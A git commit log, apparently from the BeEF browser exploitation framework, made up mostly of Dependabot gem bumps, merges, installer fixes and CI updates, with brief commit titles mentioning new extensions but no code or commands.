Signed-off-by: dependabot[bot] <support@github.com>
2024-01-10 13:41:40 +00:00
Stephen
3744708453 Merge branch 'dependabot/bundler/net-smtp-0.4.0.1' 2024-01-07 11:33:31 +10:00
Stephen
2e587ef2c4 Set social engineering extension to false by default 2024-01-07 11:33:12 +10:00
dependabot[bot]
8164f7fa49 Bump net-smtp from 0.4.0 to 0.4.0.1
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.4.0 to 0.4.0.1.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.4.0...v0.4.0.1)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-07 11:25:15 +10:00
Stephen
bafc006d67 Added sqlite files to .gitignore 2024-01-07 11:22:30 +10:00
Stephen
17e20d4ae8 Add GUID direction in ntfy URL 2024-01-07 10:46:42 +10:00
Stephen
37d95b788b Merge branch 'ntfy-extension' of https://github.com/acidobinario/beef into pr/acidobinario/2934 2024-01-05 08:17:55 +10:00
Federico Videla
d0de620a24 Add ntfy extension 2024-01-05 08:06:49 +10:00
Stephen
7633dc7660 Delete beef.db-wal 2024-01-05 03:39:23 +10:00
Stephen
a444d6e5a4 Delete beef.db-shm 2024-01-05 03:37:40 +10:00
Stephen
d110484294 Update geoip messages 2024-01-04 13:40:13 +10:00
Stephen
01fc227d90 Removed blog from loanding banners 2024-01-04 05:55:39 +10:00
Stephen
ed9e72a56d Silence activerecord migration stdout messages 2024-01-03 15:18:50 +10:00
Stephen
fe41e113ca Added boilerplate 2024-01-03 15:18:22 +10:00
Stephen
e47488bbc9 Tidy Gemfile 2024-01-03 14:53:48 +10:00
Stephen
6d56d6cfcd Tidy Rakefile 2024-01-03 14:50:21 +10:00
Stephen
38a137de08 Merge branch 'dependabot/bundler/rack-protection-and-sinatra-3.2.0' 2024-01-03 14:48:17 +10:00
dependabot[bot]
8539f6dfab Bump mime-types from 3.5.1 to 3.5.2
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.5.1 to 3.5.2.
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/History.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.5.1...v3.5.2)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-02 13:13:24 +00:00
dependabot[bot]
b93af516c6 Bump rack-protection and sinatra
Bumps [rack-protection](https://github.com/sinatra/sinatra) and [sinatra](https://github.com/sinatra/sinatra). These dependencies needed to be updated together.

Updates `rack-protection` from 3.0.6 to 3.2.0
- [Changelog](https://github.com/sinatra/sinatra/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.6...v3.2.0)

Updates `sinatra` from 3.0.6 to 3.2.0
- [Changelog](https://github.com/sinatra/sinatra/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.6...v3.2.0)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-minor
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-01 13:27:20 +00:00
Stephen
482143067b Updated http://beefproject.com to https://beefproject.com 2023-12-31 14:46:15 +10:00
Stephen
747ddb5387 Updated http://beefproject.com to https://beefproject.com 2023-12-31 14:18:50 +10:00
Stephen
da2e4bb9cf Merge branch 'update_copyright' 2023-12-31 14:08:39 +10:00
Stephen
38997fa7e3 Added .gitignore entry for Visual Studio Code 2023-12-31 10:23:35 +10:00
Stephen
7817e98118 update rdoc and rake gem in gemfile.lock 2023-12-31 10:20:35 +10:00
Stephen
6816595935 Merge branch 'dependabot/bundler/otr-activerecord-2.2.0' 2023-12-31 10:14:13 +10:00
Stephen
5eded170ab Upgrade gem 'otr-activerecord', '~> 2.2.0' including adding internal_metadata to the ActiveRecord migration 2023-12-31 10:00:13 +10:00
jcrew99
3a486c7626 Updated Copyright 2023-12-26 22:32:31 -05:00
Stephen
41397b680c Merge branch 'dependabot/bundler/otr-activerecord-2.2.0' of https://github.com/beefproject/beef into dependabot/bundler/otr-activerecord-2.2.0 2023-12-23 10:46:41 +10:00
Stephen
aa0cb30963 Merge branch 'dependabot/bundler/rake-13.1.0' 2023-12-23 10:26:58 +10:00
Stephen
dbd24bb3a7 Merge pull request #2986 from TheGuy920/master
Update Ruby Version - Complete
2023-12-22 08:09:09 +10:00
Stephen
5a7b7fb107 Merge pull request #2977 from beefproject/dependabot/bundler/maxmind-db-1.2.0
Bump maxmind-db from 1.1.1 to 1.2.0
2023-12-22 08:04:16 +10:00
Stephen
de0cab665b Merge pull request #2988 from beefproject/dependabot/bundler/selenium-webdriver-4.16.0
Bump selenium-webdriver from 4.14.0 to 4.16.0
2023-12-22 07:54:29 +10:00
dependabot[bot]
5dd8715f56 Bump selenium-webdriver from 4.14.0 to 4.16.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.14.0 to 4.16.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.14.0...selenium-4.16.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-21 21:51:11 +00:00
Stephen
214a3993f8 Merge pull request #2989 from beefproject/dependabot/bundler/rubocop-1.59.0
Bump rubocop from 1.57.0 to 1.59.0
2023-12-22 07:49:54 +10:00
Stephen
33f47d9d42 Merge pull request #2991 from beefproject/dependabot/bundler/rdoc-6.6.2
Bump rdoc from 6.6.1 to 6.6.2
2023-12-22 07:49:17 +10:00
dependabot[bot]
e62573fbf2 Bump rdoc from 6.6.1 to 6.6.2
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.6.1 to 6.6.2.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.6.1...v6.6.2)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-21 21:44:54 +00:00
dependabot[bot]
92b2954112 Bump rubocop from 1.57.0 to 1.59.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.57.0 to 1.59.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.57.0...v1.59.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-21 21:39:54 +00:00
dependabot[bot]
4b72bce53a Bump maxmind-db from 1.1.1 to 1.2.0
Bumps [maxmind-db](https://github.com/maxmind/MaxMind-DB-Reader-ruby) from 1.1.1 to 1.2.0.
- [Changelog](https://github.com/maxmind/MaxMind-DB-Reader-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/maxmind/MaxMind-DB-Reader-ruby/compare/v1.1.1...v1.2.0)

---
updated-dependencies:
- dependency-name: maxmind-db
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-21 21:39:49 +00:00
Stephen
4545121093 Merge branch 'dependabot/bundler/irb-1.11.0' 2023-12-22 07:38:22 +10:00
Stephen
46556428ad Merge branch 'dependabot/bundler/sqlite3-1.6.9' 2023-12-21 11:04:08 +10:00
dependabot[bot]
03da278bc1 Bump irb from 1.8.1 to 1.11.0
Bumps [irb](https://github.com/ruby/irb) from 1.8.1 to 1.11.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.8.1...v1.11.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-20 13:25:20 +00:00
catatonicprime
a876233579 Report failures too. 2023-12-18 05:53:05 +00:00
catatonicprime
c199cd29e4 Adding plaintext password recovery for Cisco ASA WebVPN Sessions. 2023-12-18 05:38:43 +00:00
Stephen
3286ef88f4 Merge branch 'dependabot/bundler/rdoc-6.6.1' 2023-12-06 14:46:58 +10:00
TheGuy920
acf5bd60bb Update INSTALL.txt 2023-12-05 17:36:46 -05:00
TheGuy920
bea58a8cdb Update beef 2023-12-05 17:36:17 -05:00
TheGuy920
77dada0251 Merge pull request #2 from TheGuy920/patch-2
Update beef
2023-12-05 17:23:32 -05:00
TheGuy920
1a27e3b0c5 Merge pull request #1 from TheGuy920/patch-1
Update INSTALL.txt
2023-12-05 17:22:48 -05:00
TheGuy920
629db4fe20 Update beef 2023-12-05 17:21:22 -05:00
TheGuy920
f5fae026ce Update INSTALL.txt 2023-12-05 17:05:52 -05:00
dependabot[bot]
267c6e3198 Bump rdoc from 6.5.0 to 6.6.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.5.0 to 6.6.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.5.0...v6.6.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-05 13:55:42 +00:00
TheGuy920
554d42b2c6 Update README.md
[INFO]  Detecting Ruby environment...
[INFO]  Ruby version 2.7.0 is installed
[FATAL]  Ruby version 2.7.0 is not supported. Please install Ruby 3.0 (or newer) and restart the installer.
2023-12-01 17:16:40 -05:00
dependabot[bot]
ae25108c93 Bump sqlite3 from 1.6.7 to 1.6.9
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.6.7 to 1.6.9.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.6.7...v1.6.9)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-27 13:58:02 +00:00
dependabot[bot]
57482fbb6f Bump rake from 13.0.6 to 13.1.0
Bumps [rake](https://github.com/ruby/rake) from 13.0.6 to 13.1.0.
- [Release notes](https://github.com/ruby/rake/releases)
- [Changelog](https://github.com/ruby/rake/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rake/compare/v13.0.6...v13.1.0)

---
updated-dependencies:
- dependency-name: rake
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-30 13:33:20 +00:00
dependabot[bot]
4f7c0db274 Bump otr-activerecord from 2.1.2 to 2.2.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.1.2 to 2.2.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.1.2...v2.2.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-30 08:30:59 +00:00
Stephen
e0ff71a582 Locking otr-activerecord to version 2.1.2 until we
can fix the bugs with the later version
2023-10-30 18:28:08 +10:00
dependabot[bot]
e4d9896c4c Bump otr-activerecord from 2.1.2 to 2.2.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.1.2 to 2.2.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.1.2...v2.2.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-20 14:08:19 +00:00
Stephen
a6757bedd0 Merge branch 'dependabot/bundler/rubocop-1.57.0' into dependabot-updates
upddate rubocop gem
2023-10-12 10:41:28 +10:00
Stephen
ea8e661831 Merge branch 'dependabot/bundler/selenium-webdriver-4.14.0' into dependabot-updates 2023-10-12 10:37:48 +10:00
dependabot[bot]
231c425f98 Bump sqlite3 from 1.6.6 to 1.6.7
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.6.6 to 1.6.7.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.6.6...v1.6.7)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-11 14:01:51 +00:00
dependabot[bot]
ed410c2ccd Bump rubocop from 1.56.4 to 1.57.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.56.4 to 1.57.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.56.4...v1.57.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-11 14:00:58 +00:00
dependabot[bot]
3965d83ba0 Bump selenium-webdriver from 4.13.1 to 4.14.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.13.1 to 4.14.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.14.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-10 13:23:49 +00:00
Stephen
961e8d4ef9 Merge branch 'master' of https://github.com/beefproject/beef 2023-10-01 03:02:12 +10:00
wheatley
23a2b79020 Update github_actions.yml (#2937) 2023-09-30 19:42:16 +10:00
dependabot[bot]
5e2b60ae00 Bump rubocop from 1.56.3 to 1.56.4 (#2939)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.56.3 to 1.56.4.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.56.3...v1.56.4)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-09-30 19:36:27 +10:00
dependabot[bot]
9992499bae Bump selenium-webdriver from 4.12.0 to 4.13.1 (#2938)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.12.0 to 4.13.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-09-30 19:27:12 +10:00
wheatley
82f733783a revert to original selenium version 2023-09-30 19:16:38 +10:00
wheatley
4dddb2d0f7 updated webdriver to use selenium4 params 2023-09-30 19:16:38 +10:00
wheatley
f359ad5283 experimenting 3.9 2023-09-30 19:16:38 +10:00
wheatley
6e944a0c2c reverting version to web driver version 3.1 2023-09-30 19:16:38 +10:00
wheatley
6e13b1aedc experimenting with version 4 of the driver 2023-09-30 19:16:38 +10:00
wheatley
aba70bbfae reverted to old file name 2023-09-30 19:16:38 +10:00
wheatley
5f9efcb455 revert changes 2023-09-30 19:16:38 +10:00
wheatley
86c3b5e6cc revert to older version 2023-09-30 19:16:38 +10:00
wheatley
471d025bae fixed syntax error 2023-09-30 19:16:38 +10:00
wheatley
bfbc73c989 downgrading again to see if these will run 2023-09-30 19:16:38 +10:00
wheatley
ca933d76c4 downgrading version due to change in how it operates 2023-09-30 19:16:38 +10:00
wheatley
727d422bd4 updated to make new file name 2023-09-30 19:16:38 +10:00
wheatley
1f0c5d7ee9 updated file name to match config 2023-09-30 19:16:38 +10:00
wheatley
ffd8b1b670 Update win10_chrome_81.config.yml 2023-09-30 19:16:38 +10:00
wheatley
63f691994e Update win10_chrome_81.config.yml 2023-09-30 19:16:38 +10:00
Stephen
4e9fdb4f18 Changed rescue message print_error to print_debug 2023-09-30 12:53:46 +10:00
Stephen
d40d22d22b cleaned out unused commented code 2023-09-30 08:17:00 +10:00
Stephen
fd9855c3be increased reliability of auth rate limiting tests 2023-09-30 07:49:40 +10:00
Stephen
e323c80581 Fixed array to string bug for DNS entries 2023-09-28 16:28:52 +10:00
Stephen
b3ff3f2f6f Parked auth rate test due to intermittent failure 2023-09-28 16:06:30 +10:00
Stephen
0d44721e04 Updated to skip comments starting with # 2023-09-28 15:55:51 +10:00
Stephen
8f7246514e Updated to include arm64-darwin gems 2023-09-28 14:02:47 +10:00
Stephen
70729ef5ae Bumped xmlrpc Gem version 2023-09-28 13:59:11 +10:00
Stephen
7b948b8d8a Revert "Update install"
This reverts commit 61528a408a.
2023-09-28 12:58:23 +10:00
Federico Videla
7e89375774 Merge branch 'beefproject:master' into ntfy-extension 2023-09-26 00:12:00 -03:00
Stephen
268e8ed250 Merge remote-tracking branch 'remotes/origin/dependabot/bundler/net-smtp-0.4.0' 2023-09-23 03:11:10 +00:00
Stephen
9d270cb9f6 Merge remote-tracking branch 'remotes/origin/dependabot/bundler/execjs-2.9.1' 2023-09-23 03:10:01 +00:00
Stephen
13264cbe8a park failing test for future fix 2023-09-23 03:09:23 +00:00
Stephen
4a87b68f7b Merge branch 'sumithemmadi/master' 2023-09-23 03:03:09 +00:00
Stephen
705049a2ad Merge branch 'master' of github.com:sumithemmadi/beef into sumithemmadi/master 2023-09-23 02:59:22 +00:00
Stephen
654ce1affb Bump xmlrpc gem version 2023-09-23 02:55:26 +00:00
Stephen
272ca32e43 Restore Gemfile.lock 2023-09-23 02:51:20 +00:00
Stephen
624176e6ac Made the quotes consistent 2023-09-23 02:43:49 +00:00
Federico Videla
a7862fa524 Add ntfy extension 2023-09-22 18:20:27 -03:00
stephenakq
61528a408a Update install 2023-09-23 06:15:40 +10:00
stephenakq
a154c1dbc1 Merge pull request #2929 from beefproject/dependabot/bundler/sqlite3-1.6.6
Bump sqlite3 from 1.6.1 to 1.6.6
2023-09-22 11:39:04 +10:00
dependabot[bot]
03c87c2879 Bump sqlite3 from 1.6.1 to 1.6.6
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.6.1 to 1.6.6.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.6.1...v1.6.6)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-21 23:28:28 +00:00
Stephen
3593d49df8 Merge remote-tracking branch 'remotes/origin/dependabot/bundler/rubocop-1.56.3' 2023-09-21 23:20:16 +00:00
dependabot[bot]
6ac3e22bb1 Bump execjs from 2.8.1 to 2.9.1
Bumps [execjs](https://github.com/rails/execjs) from 2.8.1 to 2.9.1.
- [Release notes](https://github.com/rails/execjs/releases)
- [Commits](https://github.com/rails/execjs/compare/v2.8.1...v2.9.1)

---
updated-dependencies:
- dependency-name: execjs
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-21 23:15:31 +00:00
Stephen
dd2eceef0c Merge remote-tracking branch 'remotes/origin/dependabot/bundler/irb-1.8.1' 2023-09-21 23:13:24 +00:00
dependabot[bot]
03ebb78a95 Bump rubocop from 1.53.1 to 1.56.3
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.53.1 to 1.56.3.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.53.1...v1.56.3)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-21 23:09:39 +00:00
Stephen
9800848918 Merge remote-tracking branch 'remotes/origin/dependabot/bundler/selenium-webdriver-4.12.0' 2023-09-21 23:04:12 +00:00
dependabot[bot]
6789774000 Bump net-smtp from 0.3.3 to 0.4.0
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.3.3 to 0.4.0.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.3.3...v0.4.0)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-21 13:13:52 +00:00
sumithemmadi
bff0aba576 Updated install script to install in EndeavourOS 2023-09-17 00:18:44 +05:30
dependabot[bot]
5d0ee52496 Bump irb from 1.7.0 to 1.8.1
Bumps [irb](https://github.com/ruby/irb) from 1.7.0 to 1.8.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.7.0...v1.8.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-05 13:45:33 +00:00
dependabot[bot]
e7870c002e Bump selenium-webdriver from 4.10.0 to 4.12.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.10.0 to 4.12.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.10.0...selenium-4.12.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-01 14:06:31 +00:00
dependabot[bot]
45b81eae52 Bump browserstack-local from 1.4.2 to 1.4.3
Bumps [browserstack-local](https://github.com/browserstack/browserstack-local-ruby) from 1.4.2 to 1.4.3.
- [Release notes](https://github.com/browserstack/browserstack-local-ruby/releases)
- [Changelog](https://github.com/browserstack/browserstack-local-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/browserstack/browserstack-local-ruby/commits)

---
updated-dependencies:
- dependency-name: browserstack-local
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-24 13:23:32 +00:00
dependabot[bot]
1f5b6b0b01 Bump rubocop from 1.52.1 to 1.53.1 (#2871)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.52.1 to 1.53.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.52.1...v1.53.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-07-02 17:30:00 +10:00
dependabot[bot]
51fdcbe313 Bump rubocop from 1.50.2 to 1.52.1 (#2864)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.50.2 to 1.52.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.50.2...v1.52.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-17 14:52:44 +10:00
dependabot[bot]
088fad8aee Bump capybara from 3.38.0 to 3.39.2 (#2865)
Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.38.0 to 3.39.2.
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.38.0...3.39.2)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-17 14:51:58 +10:00
dependabot[bot]
5f292e1913 Bump selenium-webdriver from 4.9.0 to 4.10.0 (#2862)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.9.0 to 4.10.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.9.0...selenium-4.10.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-17 13:32:16 +10:00
dependabot[bot]
1791386c64 Bump browserstack-local from 1.4.1 to 1.4.2 (#2861)
Bumps [browserstack-local](https://github.com/browserstack/browserstack-local-ruby) from 1.4.1 to 1.4.2.
- [Release notes](https://github.com/browserstack/browserstack-local-ruby/releases)
- [Changelog](https://github.com/browserstack/browserstack-local-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/browserstack/browserstack-local-ruby/commits)

---
updated-dependencies:
- dependency-name: browserstack-local
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-17 13:31:57 +10:00
dependabot[bot]
df552885b4 Bump irb from 1.6.4 to 1.7.0 (#2859)
Bumps [irb](https://github.com/ruby/irb) from 1.6.4 to 1.7.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.6.4...v1.7.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-17 13:31:31 +10:00
dependabot[bot]
82e4d36464 Bump irb from 1.6.3 to 1.6.4 (#2809)
Bumps [irb](https://github.com/ruby/irb) from 1.6.3 to 1.6.4.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.6.3...v1.6.4)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:14:10 +10:00
dependabot[bot]
da3c48ad5e Bump nokogiri from 1.14.2 to 1.14.3 (#2813)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.14.2 to 1.14.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.14.2...v1.14.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:14:02 +10:00
dependabot[bot]
4eb6ff3dba Bump sinatra from 3.0.5 to 3.0.6 (#2816)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 3.0.5 to 3.0.6.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.5...v3.0.6)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:05:23 +10:00
dependabot[bot]
85d27188ee Bump rubocop from 1.48.1 to 1.50.2 (#2822)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.48.1 to 1.50.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
